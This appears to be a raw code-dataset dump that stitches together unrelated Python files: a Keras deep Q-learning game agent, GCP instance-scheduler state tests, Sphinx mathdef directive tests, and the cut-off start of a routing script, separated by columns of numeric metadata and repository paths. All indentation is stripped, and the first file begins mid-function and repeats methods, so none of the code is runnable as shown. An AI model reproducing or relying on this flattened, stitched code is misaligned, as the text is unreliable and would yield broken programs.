np_model_state_map = np.array([ np_map[:,:,0].reshape(-1, *image_shape)/255,
np_map[:,:,1].reshape(-1, *image_shape)/255,
np_map[:,:,2].reshape(-1, *image_shape)/255 ])
return [np_model_state_attr, np_model_state_map[0], np_model_state_map[1], np_model_state_map[2]]
def _choose_action_from_prediction(self, prediction, epsilon):
prediction = prediction[0]
#Choose the highest score
index = np.argmax(prediction)
if np.random.random() < epsilon:
index = np.random.randint(0, len(prediction))
return index
class GroupDRL(BehaviouralModelInterface):
_replay_memory = deque(maxlen=MAX_REPLAY_MEMORY_SIZE)
_main_model = None
_current_model = None
_global_instances = 0
_global_target_update_count = 0
_global_training_count = 0
_epsilon = 1
def __init__(self, goals, initial_game_state, feasible_actions, model_addr, results_addr):
super().__init__(goals, initial_game_state, feasible_actions, results_addr)
self._model_addr = model_addr
self._main_model_flag = None
if GroupDRL._main_model == None:
self._create_directory(self._model_addr)
self._create_model_directory(self._model_addr)
self._main_model_flag = True
else:
self._main_model_flag = False
self._mode = None
self._previous_state = None
self._previous_prediction = None
self._previous_score = 0
self._previous_action = None
self._turn_count = 0
if self._get_file_size(self._model_addr + ".txt"):
#Load
if GroupDRL._main_model == None:
GroupDRL._main_model, GroupDRL._current_model, GroupDRL._epsilon = self._load_model()
else:
#Create
if GroupDRL._main_model == None:
#Main model - Get trained every step
GroupDRL._main_model = self._build_model_conv(initial_game_state, feasible_actions)
#Target model - This is what we predict against every step
GroupDRL._current_model = self._build_model_conv(initial_game_state, feasible_actions)
GroupDRL._current_model.set_weights(GroupDRL._main_model.get_weights())
#Set epsilon
GroupDRL._epsilon = 1
self._epsilon_decay = 0.99925 #0.99975 before
self._episodes = 6000
self._episode_epsilon = self._epsilon_decay**self._episodes
if GroupDRL._epsilon < self._episode_epsilon:
GroupDRL._epsilon = 0
GroupDRL._global_target_update_count = 0
GroupDRL._global_instances += 1
#Ensures that multiple steps can be fitted at once, so it does not overfit to a single one
GroupDRL._replay_memory = deque(maxlen=MAX_REPLAY_MEMORY_SIZE)
def _create_model_directory(self, addr):
try:
main_dir = addr + "_main_model/"
current_dir = addr + "_current_model/"
os.makedirs(main_dir)
os.makedirs(current_dir)
except FileExistsError:
pass
def get_epsilon(self):
return GroupDRL._epsilon
def _load_model(self):
print("#####LOAD MODEL#####")
main_model = models.load_model(self._model_addr + "_main_model")
current_model = models.load_model(self._model_addr + "_current_model")
epsilon = None
with open(self._model_addr + ".txt") as model_file:
for line in model_file:
epsilon = float(line)
return main_model, current_model, epsilon
def save_model(self):
if self._main_model_flag == True:
GroupDRL._main_model.save(self._model_addr + "_main_model")
GroupDRL._current_model.save(self._model_addr + "_current_model")
with open(self._model_addr + ".txt", "w") as file:
file.write(str(GroupDRL._epsilon))
def _build_model(self, game_state, feasible_actions):
first_layer_size = (len(game_state)) + len(game_state[-1])*3*3 #3 colors in our layers at X pixels + extra info
#Should probably use cnn...
model = models.Sequential()
model.add(tensorflow.keras.Input(shape=(first_layer_size,), name="digits")) #Input layer
model.add(layers.Dense(1024, activation='relu')) #Hidden layer
model.add(layers.Dense(1024, activation='relu')) #Hidden layer
model.add(layers.Dense(len(feasible_actions), activation='linear')) #Output layer
opt = optimizers.Adam(learning_rate=0.0001, decay=1e-6)
model.compile(loss="mse",
optimizer=opt,
metrics=['accuracy'])
return model
def _build_model_conv(self, game_state, feasible_actions):
inputA = tensorflow.keras.Input(shape=((len(game_state)-2),)) #User info
inputB_1 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - first layer
inputB_2 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - second layer
inputB_3 = tensorflow.keras.Input(shape=(len(game_state[-1]), len(game_state[-1][0]), 3)) #Map data - third layer
#-------- InputB_1 --------
#branchB_1 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_1) #Convolutional Hidden Layer
#branchB_1 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_1)
#branchB_1 = layers.Dropout(0.2)(branchB_1)
branchB_1 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_1) #Convolutional Hidden Layer
branchB_1 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_1)
branchB_1 = layers.Dropout(0.2)(branchB_1)
branchB_1 = layers.Flatten()(branchB_1)
modelB_1 = models.Model(inputs=inputB_1, outputs=branchB_1)
#-------- InputB_2 --------
#branchB_2 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_2) #Convolutional Hidden Layer
#branchB_2 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_2)
#branchB_2 = layers.Dropout(0.2)(branchB_2)
branchB_2 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_2) #Convolutional Hidden Layer
branchB_2 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_2)
branchB_2 = layers.Dropout(0.2)(branchB_2)
branchB_2 = layers.Flatten()(branchB_2)
modelB_2 = models.Model(inputs=inputB_2, outputs=branchB_2)
#-------- InputB_3 --------
#branchB_3 = layers.Conv2D(64, (3, 3), activation = 'relu')(inputB_3) #Convolutional Hidden Layer
#branchB_3 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_3)
#branchB_3 = layers.Dropout(0.2)(branchB_3)
branchB_3 = layers.Conv2D(128, (3, 3), activation = 'relu')(inputB_3) #Convolutional Hidden Layer
branchB_3 = layers.MaxPooling2D(pool_size=(2, 2))(branchB_3)
branchB_3 = layers.Dropout(0.2)(branchB_3)
branchB_3 = layers.Flatten()(branchB_3)
modelB_3 = models.Model(inputs=inputB_3, outputs=branchB_3)
#------- Combine -------
branchC = layers.concatenate([inputA, modelB_1.output, modelB_2.output, modelB_3.output])
branchC = layers.Dense(256, activation='relu')(branchC)
branchC = layers.Dense(256, activation='relu')(branchC)
output = layers.Dense(len(feasible_actions), activation='linear')(branchC) #Output layer
model = models.Model(inputs=[inputA, modelB_1.input, modelB_2.input, modelB_3.input], outputs = output)
opt = optimizers.Adam(learning_rate=1e-3)
model.compile(loss="mse",
optimizer=opt,
metrics=['accuracy'])
#tensorflow.keras.utils.plot_model(model, "multi_input_and_output_model.png", show_shapes=True)
return model
def _custom_loss_function(self, score_true, score_expected):
custom_loss = []
for index, _ in enumerate(score_true):
custom_loss += [math.sqrt((score_true[index]-score_expected[index])**2)]
return np.asarray([custom_loss])
def _update_replay_memory(self, transition):
GroupDRL._replay_memory.append(transition)
def _get_qs(self, state, step): #Probably not gonna be used
current_state = self._game_to_model_state(state)
prediction = GroupDRL._main_model.predict(current_state)[0]
return prediction
def _train(self, terminal_state, step):
if len(GroupDRL._replay_memory) < (MIN_REPLAY_MEMORY_SIZE*GroupDRL._global_instances) or GroupDRL._global_training_count % (GroupDRL._global_instances*1000) % 1000 != 0:
return
minibatch = random.sample(GroupDRL._replay_memory, MINIBATCH_SIZE*GroupDRL._global_instances)
current_state = self._get_current_state(minibatch)
current_qs_list = GroupDRL._main_model.predict(current_state)
future_state = self._get_future_state(minibatch)
future_qs_list = GroupDRL._current_model.predict(future_state)
X_info = []
X_l1 = []
X_l2 = []
X_l3 = []
y = []
for index, (current_state, action, reward, new_current_state, done, life_changer) in enumerate(minibatch):
if done:
new_q = -10 #reward
elif life_changer:
new_q = reward
else:
max_future_q = np.max(future_qs_list[index])
new_q = reward + DISCOUNT * max_future_q #The discount is to represent that moves more in the past will have less of an effect on the current result?
current_qs = current_qs_list[index]
current_qs[action] = new_q
self._append_to_input_output_matrices(X_info, X_l1, X_l2, X_l3, y, current_state, current_qs)
X_info_np = self._transform_info_to_np_structure(X_info)
X_l1_np = self._transform_X_to_np_structure(X_l1)
X_l2_np = self._transform_X_to_np_structure(X_l2)
X_l3_np = self._transform_X_to_np_structure(X_l3)
history = GroupDRL._main_model.fit([X_info_np, X_l1_np, X_l2_np, X_l3_np], np.array(y), batch_size = MINIBATCH_SIZE, verbose = 0, shuffle=False, callbacks=[CustomCallback()] if terminal_state or step%10 == 1 else None) #Only call callback if terminal staste
#Updating to determine if we want to update target_model yet
if terminal_state:
GroupDRL._global_target_update_count += 1
if GroupDRL._global_target_update_count > UPDATE_TARGET_EVERY:
GroupDRL._global_target_update_count = 0
GroupDRL._current_model.set_weights(GroupDRL._main_model.get_weights())
def _append_to_input_output_matrices(self, X0, X1, X2, X3, y, state, qs):
X0 += [state[0]] #Previous state
X1 += [state[1]]
X2 += [state[2]]
X3 += [state[3]]
y += [qs] #The score it should have let to
def _transform_info_to_np_structure(self, X_info):
X_info_np = np.array(X_info)
X_info_np = X_info_np.reshape(X_info_np.shape[0], X_info_np.shape[2])
return X_info_np
def _transform_X_to_np_structure(self, X):
X_np = np.array(X)
X_np = X_np.reshape(X_np.shape[0], X_np.shape[2], X_np.shape[3], X_np.shape[4])
return X_np
def _get_current_state(self, minibatch):
current_states_0 = np.array([transition[0][0] for transition in minibatch])
current_states_0 = current_states_0.reshape(current_states_0.shape[0], current_states_0.shape[2])
current_states_1 = np.array([transition[0][1] for transition in minibatch])
current_states_1 = current_states_1.reshape(current_states_1.shape[0], current_states_1.shape[2], current_states_1.shape[3], current_states_1.shape[4])
current_states_2 = np.array([transition[0][2] for transition in minibatch])
current_states_2 = current_states_2.reshape(current_states_2.shape[0], current_states_2.shape[2], current_states_2.shape[3], current_states_2.shape[4])
current_states_3 = np.array([transition[0][3] for transition in minibatch])
current_states_3 = current_states_3.reshape(current_states_3.shape[0], current_states_3.shape[2], current_states_3.shape[3], current_states_3.shape[4])
return [current_states_0, current_states_1, current_states_2, current_states_3]
def _get_future_state(self, minibatch):
new_current_state_0 = np.array([transition[3][0] for transition in minibatch])
new_current_state_0 = new_current_state_0.reshape(new_current_state_0.shape[0], new_current_state_0.shape[2])
new_current_state_1 = np.array([transition[3][1] for transition in minibatch])
new_current_state_1 = new_current_state_1.reshape(new_current_state_1.shape[0], new_current_state_1.shape[2], new_current_state_1.shape[3], new_current_state_1.shape[4])
new_current_state_2 = np.array([transition[3][2] for transition in minibatch])
new_current_state_2 = new_current_state_2.reshape(new_current_state_2.shape[0], new_current_state_2.shape[2], new_current_state_2.shape[3], new_current_state_2.shape[4])
new_current_state_3 = np.array([transition[3][3] for transition in minibatch])
new_current_state_3 = new_current_state_3.reshape(new_current_state_3.shape[0], new_current_state_3.shape[2], new_current_state_3.shape[3], new_current_state_3.shape[4])
return [new_current_state_0, new_current_state_1, new_current_state_2, new_current_state_3]
def action(self, game_state, train_flag = True):
self._turn_count += 1
GroupDRL._global_training_count += 1
model_state = self._game_to_model_state(game_state)
if train_flag:
score = self._calculate_score(game_state[0], game_state[2], game_state[3]) - self._previous_score #Reward - Use reqard difference instead
self._previous_score = self._calculate_score(game_state[0], game_state[2], game_state[3])
if GroupDRL._epsilon > self._episode_epsilon and GroupDRL._epsilon != 0:
if self._turn_count % 100 == 0:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
if self._turn_count % 500 == 0:
GroupDRL._epsilon *= self._epsilon_decay
print(f"Epsilon: {GroupDRL._epsilon}, Name: {self._model_addr}")
if isinstance(self._previous_state, list):
terminal_state = game_state[0] == 0 or model_state[0][0][0] != self._previous_state[0][0][0] or model_state[0][0][1] != self._previous_state[0][0][1] #If dead, different health, or different points
self._update_replay_memory((self._previous_state, self._previous_action, score, model_state, game_state[0] == 0, terminal_state)) #Previous state, action taken, score it got, new state it let to, and if it is done (never)
self._train(terminal_state , game_state[0])
else:
if self._turn_count % 100 == 0:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
elif not self._turn_count % 100:
print(f"Train: {train_flag}, steps: {self._turn_count}, life: {game_state[1]}, points: {game_state[2]}, score: {self._previous_score}, Name: {self._model_addr}")
action = self._calculate_action(model_state, 0 if not train_flag or GroupDRL._epsilon < self._episode_epsilon else GroupDRL._epsilon)
return action
def _calculate_action(self, current_state, epsilon):
prediction = GroupDRL._main_model.predict(current_state)
action_index = self._choose_action_from_prediction(prediction, epsilon)
self._previous_state = current_state
self._previous_prediction = prediction
self._previous_action = action_index
return self._feasible_actions[action_index]
def _game_to_model_state(self, game_state):
steps = game_state[0] #Should this be normalized?
life = game_state[1]/100 #Normalize
points = game_state[2] #Should this be normalized?
player_coor = (game_state[3][0]/len(game_state[-1][0]), game_state[3][1]/len(game_state[-1])) #Normalize
model_state_attr = [life, player_coor[0], player_coor[1]]
image_shape = (len(game_state[-1]), len(game_state[-1][0]), len(game_state[-1][0][0][0]))
np_model_state_attr = np.array(model_state_attr).reshape(-1, len(model_state_attr))
np_map = np.array(game_state[-1])
np_model_state_map = np.array([ np_map[:,:,0].reshape(-1, *image_shape)/255,
np_map[:,:,1].reshape(-1, *image_shape)/255,
np_map[:,:,2].reshape(-1, *image_shape)/255 ])
return [np_model_state_attr, np_model_state_map[0], np_model_state_map[1], np_model_state_map[2]]
def _choose_action_from_prediction(self, prediction, epsilon):
prediction = prediction[0]
#Choose the highest score
index = np.argmax(prediction)
if np.random.random() < epsilon:
index = np.random.randint(0, len(prediction))
return index
| 48.588571
| 267
| 0.656415
| 4,606
| 34,012
| 4.497395
| 0.06904
| 0.038233
| 0.044895
| 0.015062
| 0.934733
| 0.916341
| 0.895873
| 0.887762
| 0.882356
| 0.882356
| 0
| 0.034508
| 0.23233
| 34,012
| 700
| 268
| 48.588571
| 0.758866
| 0.111049
| 0
| 0.813665
| 0
| 0.012422
| 0.047197
| 0.00458
| 0
| 0
| 0
| 0
| 0
| 1
| 0.084886
| false
| 0.004141
| 0.026915
| 0.004141
| 0.196687
| 0.024845
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d976980d1934df9389b6987c344db2d39907ba1f
| 9,837
|
py
|
Python
|
functions/instance_scheduler/state_service_test.py
|
lmaczulajtys/gcp-instance-scheduler
|
d1b39acdee0be8ac57a865d50ddae0ba5833ab4e
|
[
"Apache-2.0"
] | null | null | null |
functions/instance_scheduler/state_service_test.py
|
lmaczulajtys/gcp-instance-scheduler
|
d1b39acdee0be8ac57a865d50ddae0ba5833ab4e
|
[
"Apache-2.0"
] | null | null | null |
functions/instance_scheduler/state_service_test.py
|
lmaczulajtys/gcp-instance-scheduler
|
d1b39acdee0be8ac57a865d50ddae0ba5833ab4e
|
[
"Apache-2.0"
] | null | null | null |
from datetime import datetime
from config.period import Period
from config.schedule import Schedule
from config.scheduler_config import SchedulerConfig
from schedulers.state_service import StateService, State
config = SchedulerConfig(
periods={
"period1": Period(
name="period1",
begin_time="9:00",
end_time="13:00",
weekdays=[0, 1, 2, 3, 4],
),
"period2": Period(
name="period2",
begin_time="15:00",
end_time="16:00",
weekdays=[0, 1, 2, 3, 4],
),
"period3": Period(
name="period3", end_time="21:00", weekdays=[0, 1, 2, 3, 4, 5, 6]
),
},
schedules={
"schedule1": Schedule(
name="schedule1", periods_names=["period1", "period2", "period3"]
)
},
schedule_tag_name="schedule",
timezone="Europe/Warsaw",
)
service = StateService(config=config)
def test_automatic_schedules_businessday():
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 08:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 09:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.RUNNING
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 10:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.RUNNING
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 13:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 13:30"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-02 18:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 15:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-02 13:00"),
)
== State.RUNNING
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 15:30"),
last_start=datetime.fromisoformat("2021-03-02 15:00"),
last_stop=datetime.fromisoformat("2021-03-02 13:00"),
)
== State.RUNNING
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 16:00"),
last_start=datetime.fromisoformat("2021-03-02 15:00"),
last_stop=datetime.fromisoformat("2021-03-02 13:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 16:30"),
last_start=datetime.fromisoformat("2021-03-02 15:00"),
last_stop=datetime.fromisoformat("2021-03-02 16:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 21:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-02 18:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 22:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-02 21:00"),
)
== State.STOPPED
)
def test_automatic_schedules_manual_start():
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 08:00"),
last_start=datetime.fromisoformat("2021-03-02 07:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 09:00"),
last_start=datetime.fromisoformat("2021-03-02 07:00"),
last_stop=datetime.fromisoformat("2021-03-01 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 09:00"),
last_start=datetime.fromisoformat("2021-03-02 07:00"),
last_stop=datetime.fromisoformat("2021-03-02 08:00"),
)
== State.RUNNING
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 19:00"),
last_start=datetime.fromisoformat("2021-03-02 20:00"),
last_stop=datetime.fromisoformat("2021-03-02 18:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 23:00"),
last_start=datetime.fromisoformat("2021-03-02 22:00"),
last_stop=datetime.fromisoformat("2021-03-02 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-07 22:00"),
last_start=datetime.fromisoformat("2021-03-07 17:00"),
last_stop=datetime.fromisoformat("2021-03-07 23:10"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-07 22:00"),
last_start=datetime.fromisoformat("2021-03-07 17:00"),
last_stop=datetime.fromisoformat("2021-03-07 01:10"),
)
== State.STOPPED
)
def test_automatic_schedules_manual_stop():
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-02 11:00"),
last_start=datetime.fromisoformat("2021-03-02 09:00"),
last_stop=datetime.fromisoformat("2021-03-02 10:00"),
)
== State.UNKNOWN
)
def test_automatic_schedules_weekend():
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 08:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 09:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 10:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 13:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 13:30"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.UNKNOWN
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 21:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-05 21:00"),
)
== State.STOPPED
)
assert (
service.get_desired_state(
schedule_name="schedule1",
current_datetime=datetime.fromisoformat("2021-03-06 22:00"),
last_start=datetime.fromisoformat("2021-03-06 09:00"),
last_stop=datetime.fromisoformat("2021-03-06 21:00"),
)
== State.STOPPED
)
| 32.465347
| 77
| 0.593372
| 1,087
| 9,837
| 5.204232
| 0.069917
| 0.289553
| 0.344706
| 0.372282
| 0.89429
| 0.89429
| 0.89429
| 0.869542
| 0.850804
| 0.850804
| 0
| 0.142716
| 0.281285
| 9,837
| 302
| 78
| 32.572848
| 0.657426
| 0
| 0
| 0.592593
| 0
| 0
| 0.163464
| 0
| 0
| 0
| 0
| 0
| 0.096296
| 1
| 0.014815
| false
| 0
| 0.018519
| 0
| 0.033333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d97b3baf1d0917b9a1f2a0cec8dfb641a7b86cea
| 7,559
|
py
|
Python
|
_unittests/ut_sphinxext/test_mathdef_extension.py
|
Pandinosaurus/pyquickhelper
|
326276f656cf88989e4d0fcd006ada0d3735bd9e
|
[
"MIT"
] | 18
|
2015-11-10T08:09:23.000Z
|
2022-02-16T11:46:45.000Z
|
_unittests/ut_sphinxext/test_mathdef_extension.py
|
Pandinosaurus/pyquickhelper
|
326276f656cf88989e4d0fcd006ada0d3735bd9e
|
[
"MIT"
] | 321
|
2015-06-14T21:34:28.000Z
|
2021-11-28T17:10:03.000Z
|
_unittests/ut_sphinxext/test_mathdef_extension.py
|
Pandinosaurus/pyquickhelper
|
326276f656cf88989e4d0fcd006ada0d3735bd9e
|
[
"MIT"
] | 10
|
2015-06-20T01:35:00.000Z
|
2022-01-19T15:54:32.000Z
|
"""
@brief test log(time=4s)
@author Xavier Dupre
"""
import sys
import os
import unittest
from docutils.parsers.rst import directives
from pyquickhelper.loghelper.flog import fLOG
from pyquickhelper.pycode import get_temp_folder
from pyquickhelper.helpgen import rst2html
from pyquickhelper.sphinxext import MathDef, MathDefList
from pyquickhelper.sphinxext.sphinx_mathdef_extension import mathdef_node, visit_mathdef_node, depart_mathdef_node
class TestMathDefExtension(unittest.TestCase):
def test_post_parse_sn_todoext(self):
fLOG(
__file__,
self._testMethodName,
OutputPrint=__name__ == "__main__")
directives.register_directive("mathdef", MathDef)
directives.register_directive("mathdeflist", MathDefList)
def test_mathdef(self):
fLOG(
__file__,
self._testMethodName,
OutputPrint=__name__ == "__main__")
from docutils import nodes as skip_
content = """
test a directive
================
before
.. mathdef::
:title: first def
:tag: definition
:lid: label1
this code should appear___
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
tives = [("mathdef", MathDef, mathdef_node,
visit_mathdef_node, depart_mathdef_node)]
html = rst2html(content, # fLOG=fLOG,
writer="custom", keep_warnings=True,
directives=tives, extlinks={'issue': ('http://%s', '_issue_')})
temp = get_temp_folder(__file__, "temp_mathdef", clean=False)
with open(os.path.join(temp, "test_mathdef.html"), "w", encoding="utf8") as f:
f.write(html)
t1 = "this code should appear"
if t1 not in html:
raise Exception(html)
t1 = "after"
if t1 not in html:
raise Exception(html)
t1 = "first def"
if t1 not in html:
raise Exception(html)
def test_mathdeflist(self):
fLOG(
__file__,
self._testMethodName,
OutputPrint=__name__ == "__main__")
from docutils import nodes as skip_
content = """
test a directive
================
before
.. mathdef::
:title: first def2
:tag: Theoreme
this code should appear___
middle
.. mathdeflist::
:tag: definition
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
tives = [("mathdef", MathDef, mathdef_node,
visit_mathdef_node, depart_mathdef_node)]
html = rst2html(content, # fLOG=fLOG,
writer="custom", keep_warnings=True,
directives=tives)
temp = get_temp_folder(__file__, "temp_mathdef", clean=False)
with open(os.path.join(temp, "test_mathdeflist.html"), "w", encoding="utf8") as f:
f.write(html)
t1 = "this code should appear"
if t1 not in html:
raise Exception(html)
t1 = "after"
if t1 not in html:
raise Exception(html)
t1 = "first def2"
if t1 not in html:
raise Exception(html)
def test_mathdeflist_contents(self):
fLOG(
__file__,
self._testMethodName,
OutputPrint=__name__ == "__main__")
from docutils import nodes as skip_
content = """
test a directive
================
before
.. mathdef::
:title: first def2
:tag: Theoreme
this code should appear___
middle
.. mathdeflist::
:tag: definition
:contents:
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
tives = [("mathdef", MathDef, mathdef_node,
visit_mathdef_node, depart_mathdef_node)]
html = rst2html(content, # fLOG=fLOG,
writer="custom", keep_warnings=True,
directives=tives)
temp = get_temp_folder(__file__, "temp_mathdef", clean=False)
with open(os.path.join(temp, "test_mathdeflist_contents.html"), "w", encoding="utf8") as f:
f.write(html)
t1 = "this code should appear"
if t1 not in html:
raise Exception(html)
t1 = "after"
if t1 not in html:
raise Exception(html)
t1 = "first def2"
if t1 not in html:
raise Exception(html)
def test_mathdeflist_contents_body_sphinx(self):
fLOG(
__file__,
self._testMethodName,
OutputPrint=__name__ == "__main__")
from docutils import nodes as skip_
content = """
test a directive
================
before
.. mathdef::
:title: first def2
:tag: Theoreme
this code should appear___
middle
.. mathdeflist::
:tag: definition
:contents:
middle2
.. mathdeflist::
:tag: Theoreme
:contents:
after
""".replace(" ", "")
if sys.version_info[0] >= 3:
content = content.replace('u"', '"')
tives = [("mathdef", MathDef, mathdef_node,
visit_mathdef_node, depart_mathdef_node)]
html = rst2html(content, # fLOG=fLOG,
writer="custom", keep_warnings=True,
directives=tives, layout="sphinx")
body = rst2html(content, # fLOG=fLOG,
writer="custom", keep_warnings=True,
directives=tives, layout="sphinx_body")
if "<body>" in body:
raise Exception(body)
if "</body>" in body:
raise Exception(body)
temp = get_temp_folder(__file__, "temp_mathdef", clean=False)
with open(os.path.join(temp, "test_mathdeflist_contents_sphinx.html"), "w", encoding="utf8") as f:
f.write(html)
# not yet ready
if "alabaster" in html:
raise Exception(html)
t1 = "this code should appear"
if t1 not in body:
raise Exception(body)
t1 = "after"
if t1 not in body:
raise Exception(body)
t1 = "first def2"
if t1 not in body:
raise Exception(body)
t1 = 'class="reference internal"'
if t1 not in body:
raise Exception(body)
if __name__ == "__main__":
unittest.main()
| 28.524528
| 114
| 0.484191
| 686
| 7,559
| 5.074344
| 0.164723
| 0.064349
| 0.026142
| 0.033611
| 0.803217
| 0.803217
| 0.795461
| 0.792876
| 0.740017
| 0.705544
| 0
| 0.012084
| 0.419765
| 7,559
| 264
| 115
| 28.632576
| 0.781578
| 0.016404
| 0
| 0.812834
| 0
| 0
| 0.332525
| 0.011857
| 0
| 0
| 0
| 0
| 0
| 1
| 0.026738
| false
| 0
| 0.069519
| 0
| 0.101604
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7982638d947c1252bb163f55990e055011b03d2c
| 27,961
|
py
|
Python
|
pr_flow/gen_route.py
|
vagrantxiao/dirc_riscv
|
0566fd3f7ff1640c7ae9dbb037907d20997aad24
|
[
"MIT"
] | null | null | null |
pr_flow/gen_route.py
|
vagrantxiao/dirc_riscv
|
0566fd3f7ff1640c7ae9dbb037907d20997aad24
|
[
"MIT"
] | null | null | null |
pr_flow/gen_route.py
|
vagrantxiao/dirc_riscv
|
0566fd3f7ff1640c7ae9dbb037907d20997aad24
|
[
"MIT"
] | 1
|
2021-05-06T14:05:57.000Z
|
2021-05-06T14:05:57.000Z
|
#!/usr/bin/env python
import os
import xml.etree.ElementTree
class direct_int:
def __init__(self, prflow_params):
